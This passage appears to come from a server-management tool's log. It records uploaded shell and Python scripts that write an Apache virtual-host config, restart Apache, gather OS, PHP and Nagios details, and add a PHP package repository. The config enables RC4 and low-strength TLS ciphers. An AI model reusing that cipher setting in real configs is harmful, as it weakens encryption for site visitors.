    DocumentRoot	/var/www/pjy_home
    <Directory /var/www/pjy_home>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/home_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/pjy
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/pjy_home_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_home_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_home_us.conf= 1'
fi


2026-05-06 10:25:02: 

chmod 755 /tmp/pkp300064; /tmp/pkp300064; rm /tmp/pkp300064

2026-05-06 10:25:02: 




2026-05-06 10:25:02: 

PUT: /tmp/pkp954177

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/pjy_home_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-06 10:25:02: 

chmod 755 /tmp/pkp954177; /tmp/pkp954177; rm /tmp/pkp954177

2026-05-06 10:25:02: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/pjy_home_us.conf 35

<VirtualHost *:80>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_home
    <Directory /var/www/pjy_home>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/home_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7889e7c0d13f0b76beb5af2adc3d4e86.crt
    DocumentRoot	/var/www/pjy_home
    <Directory /var/www/pjy_home>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/home_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>






2026-05-06 10:25:02: 

PUT: /tmp/pkp963698

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_home_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_home_us.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_home
    <Directory /var/www/pjy_home>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/home_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	home.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7889e7c0d13f0b76beb5af2adc3d4e86.crt
    DocumentRoot	/var/www/pjy_home
    <Directory /var/www/pjy_home>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/home_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/home_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/pjy
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/pjy_home_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_home_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_home_us.conf= 1'
fi


2026-05-06 10:25:02: 

chmod 755 /tmp/pkp963698; /tmp/pkp963698; rm /tmp/pkp963698

2026-05-06 10:25:02: 




2026-05-06 10:25:02: 

PUT: /tmp/pkp699982

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-05-06 10:25:02: 

chmod 755 /tmp/pkp699982; /tmp/pkp699982; rm /tmp/pkp699982

2026-05-06 10:25:02: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-05-06 10:25:02: Performing Server Status
2026-05-06 10:25:02: 

PUT: /tmp/pkp186721

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-05-06 10:25:02: 

chmod 755 /tmp/pkp186721; /tmp/pkp186721; rm /tmp/pkp186721

2026-05-06 10:25:02: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
mars

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-111-generic



2026-05-06 10:25:02: 

PUT: /tmp/pkp222227

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-05-06 10:25:02: 

chmod 755 /tmp/pkp222227; /tmp/pkp222227; rm /tmp/pkp222227

2026-05-06 10:25:02: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2026-03-05T17:31:54
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 32217
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root       32217  0.0  1.0 324792 40152 ?        Ss   May05   0:04 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 headers_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_fcgi_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2026-05-06 10:25:02: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'mars',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.4 LTS',
  'rel' => '24.04.4',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'headers_module',
      22 => 'mime_module',
      23 => 'mpm_prefork_module',
      24 => 'negotiation_module',
      25 => 'php_module',
      26 => 'proxy_module',
      27 => 'proxy_fcgi_module',
      28 => 'reqtimeout_module',
      29 => 'rewrite_module',
      30 => 'setenvif_module',
      31 => 'socache_shmcb_module',
      32 => 'ssl_module',
      33 => 'status_module',
    ),
  ),
)


2026-05-06 10:25:02: 

PUT: /tmp/pkp664812

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-05-06 10:25:02: 

chmod 755 /tmp/pkp664812; /tmp/pkp664812; rm /tmp/pkp664812

2026-05-06 10:25:02: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-05-06 10:25:02: 

PUT: /tmp/pkp284438

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.5-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.5-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.5]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2026-05-06 10:25:02: 

chmod 755 /tmp/pkp284438; /tmp/pkp284438; rm /tmp/pkp284438

2026-05-06 10:25:03: 


[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.30
[php8.2]
php=/usr/bin/php8.2
fpm=/etc/php/8.2/fpm/pool.d
version=8.2.30
[php8.4]
php=/usr/bin/php8.4
fpm=/etc/php/8.4/fpm/pool.d
version=8.4.20


2026-05-06 10:25:03: 

PUT: /tmp/pkp405269

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-05-06 10:25:03: 

chmod 755 /tmp/pkp405269; /tmp/pkp405269; rm /tmp/pkp405269

2026-05-06 10:25:03: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_real)= dd4b06ffdde547e7ae66453ed8af464f
bin(/usr/local/nagios/libexec/check_ssh)= 4998ed8f57fbf48bb709a91b5f67fa88
bin(/usr/local/nagios/libexec/check_ntp_time)= cdcc9ae74ad304a1103f3b26aa2a4302
bin(/usr/local/nagios/libexec/check_dummy)= 593927625b5adf7f6cc5626cf271b00c
bin(/usr/local/nagios/libexec/check_ssmtp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_pop)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_imap)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_wave)= 43070cb5a8919450dc9dddfaad1372c5
bin(/usr/local/nagios/libexec/check_ntp_peer)= 4561ff3ea28b2be1d51e660db0061ecb
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_ifstatus)= 2d1588877bbecf63a32b8450a9392703
bin(/usr/local/nagios/libexec/check_rpc)= d950b01072804e29ac7f5f081aa982db
bin(/usr/local/nagios/libexec/check_simap)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_ide_smart)= 70e1d5360c280f5a78a7eaf30fee6e43
bin(/usr/local/nagios/libexec/check_breeze)= 36e02260e64fa5199510d9dc5842d980
bin(/usr/local/nagios/libexec/check_dns)= ab42e148c68a92c9dda556789494efb6
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_ntp)= 9e7ffbfb53e8cb4f0ac3f693770675ba
bin(/usr/local/nagios/libexec/check_nagios)= 80e3c448e3c432a57b36339e22b18215
bin(/usr/local/nagios/libexec/check_overcr)= 7b207d58bc55979ba935ef83cc192e11
bin(/usr/local/nagios/libexec/check_nntp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_spop)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_ftp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_oracle)= 16b08209814208bb2b7c0f352e0219c8
bin(/usr/local/nagios/libexec/check_swap)= 21ddd46a28196d76075b7c635555a6cd
bin(/usr/local/nagios/libexec/check_sensors)= 7c1111569b1fbbb87ed8eb57f57c09d0
bin(/usr/local/nagios/libexec/check_jabber)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_by_ssh)= b1aa934f5258b2f1708c76a1a6e96a0b
bin(/usr/local/nagios/libexec/check_udp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_dig)= 7b01b47a8c952d611baec6a7004cc24c
bin(/usr/local/nagios/libexec/check_http)= 053039e43a1e34634f3516be01892a42
bin(/usr/local/nagios/libexec/check_nt)= 00a2c24b1de53f52b058cc6ebf430806
bin(/usr/local/nagios/libexec/check_disk_smb)= 5261d05672787c38c34ca67a0b83edf8
bin(/usr/local/nagios/libexec/check_mrtg)= 6f4cf4f1b0f8e29f0e465fbb2506e237
bin(/usr/local/nagios/libexec/check_clamd)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_users)= b55c15f4e1aeb36f902037bfd078d1c9
bin(/usr/local/nagios/libexec/check_ircd)= 022af53fbdb44f8b8b75f2713e8aa35b
bin(/usr/local/nagios/libexec/check_procs)= a4157b7321a21494e347131fe3e78e47
bin(/usr/local/nagios/libexec/check_log)= 7a0c4828d6f7ea76d98a51def16460ee
bin(/usr/local/nagios/libexec/check_mailq)= 078442ad36849198a80b539a65e57dc3
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_nwstat)= 6c20e762c6d4ce49fc31b3c0ac28be9e
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 64d5374a8c511c9d2a2d199960c2c6f9
bin(/usr/local/nagios/libexec/check_tcp)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_apt)= cdf54f5ea361ff54adaa5a325bd5e583
bin(/usr/local/nagios/libexec/check_time)= 94da3767ba0be89cb015f6771899764d
bin(/usr/local/nagios/libexec/check_smtp)= d7f2d41ab34b841616e67779411cd4cd
bin(/usr/local/nagios/libexec/check_ping)= bf10c48f916f5eed0d29af7d0e9fd678
bin(/usr/local/nagios/libexec/check_flexlm)= 4e3c614a3494e4e601b0624b4bc8e462
bin(/usr/local/nagios/libexec/check_service)= 8e2475317d2e7a9c6645dba25f338011
bin(/usr/local/nagios/libexec/check_cluster)= 5eb520cefdc87566ccfc5497bb5fc45c
bin(/usr/local/nagios/libexec/check_disk)= 81a61cb2c2922be54adf5b4b15f5ab3c
bin(/usr/local/nagios/libexec/check_uptime)= affa1adb0f2b5b9c950b8582576c3da2
bin(/usr/local/nagios/libexec/check_icmp)= eb69d9de7971a87698948950a5fd8756
bin(/usr/local/nagios/libexec/check_nntps)= dbf08d41faf12bedfd2a636d3ca5e027
bin(/usr/local/nagios/libexec/check_load)= e9e4c57cca90e17e4aa1721c7e8e8c85
bin(/usr/local/nagios/libexec/check_ifoperstatus)= 38508203585e8cbbda9f3031a1940596
bin(/usr/local/nagios/libexec/check_ups)= 65eafce8676b5c74a336c60873a3eef3
bin(/usr/local/nagios/libexec/check_file_age)= 2e331a3782daf78c7b45d7003b6be288
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_dhcp)= 1b5efef036053881690728bdee7c1116


2026-05-06 10:25:03: 

PUT: /tmp/pkp683745

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
